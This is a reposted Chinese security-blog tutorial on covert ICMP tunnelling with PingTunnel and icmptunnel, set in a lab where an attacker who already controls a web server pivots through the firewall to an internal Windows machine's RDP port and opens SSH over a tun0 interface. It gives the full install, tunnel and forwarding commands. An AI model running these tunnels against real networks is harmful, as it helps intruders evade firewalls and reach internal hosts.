内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

  • A+
所属分类:安全文章
内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

目录

    ICMP隧道

        使用ICMP搭建隧道(PingTunnel)

        使用ICMP搭建隧道(Icmptunnel)


内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)


内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
ICMP隧道

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
使用ICMP搭建隧道(PingTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。

拓扑图如下:

192.168.10.X 模拟公网地址,Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网存在一台WIndows机器,Web服务器可以与该机器连接。现在我们获取到了Web服务器的权限,想用ICMP搭建通往内网的隧道,连接内网Windows的3389端口。

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

PingTunnel的安装

#安装libpcap的依赖环境yum -y install byaccyum -y install flex bison #安装libpcap依赖库wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install #安装PingTunnelwget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install

在Web服务器的操作

ptunnel -x shuteer     #-x 指定连接密码


内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

VPS的操作

ptunnel -p 192.168.10.129 -lp 1080 -da 10.10.10.10 -dp 3389 -x shuteer    -p 指定ICMP隧道另一端的IP    -lp:指定本地监听的端口    -da:指定要转发的目标机器的IP    -dp:指定要转发的目标机器的端口    -x:指定连接密码


内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

然后我们只需要远程连接192.168.10.129的1080端口就相当于连接了10.10.10.10的3389端口了。

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
使用ICMP搭建隧道(Icmptunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

适用场景:目标机器是Linux服务器的情况

  • 攻击机:Redhat7  192.1.68.10.20

  • 靶机:Centos7  192.168.10.13

ICMP隧道是指将TCP连接通过ICMP包进行隧道传送的一种方法。

icmptunnel是一个将IP流量封装到 ICMP echo请求和回复(ping)包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

icmptunnel的安装

分别在服务端和客户端安装 icmptunnel,安装过程如下

git clone https://github.com/jamesbarlow/icmptunnel.gitmake

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

服务端的操作:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复./icmptunnel -s                                       #监听重新打开一个命令行窗口ifconfig tun0 10.0.0.1 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.1/24


内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

客户端的操作:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复./icmptunnel 192.168.10.20                            #连接服务端重新打开一个命令行窗口ifconfig tun0 10.0.0.2 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.2/24


内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

至此,客户端和服务端已经打通了一条ICMP隧道。

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

接下来,在客户端和服务端分别用隧道的ip地址进行SSH连接。

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

责编:Vivian

来源:谢公子博客

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)

本文始发于微信公众号(谢公子学安全):内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: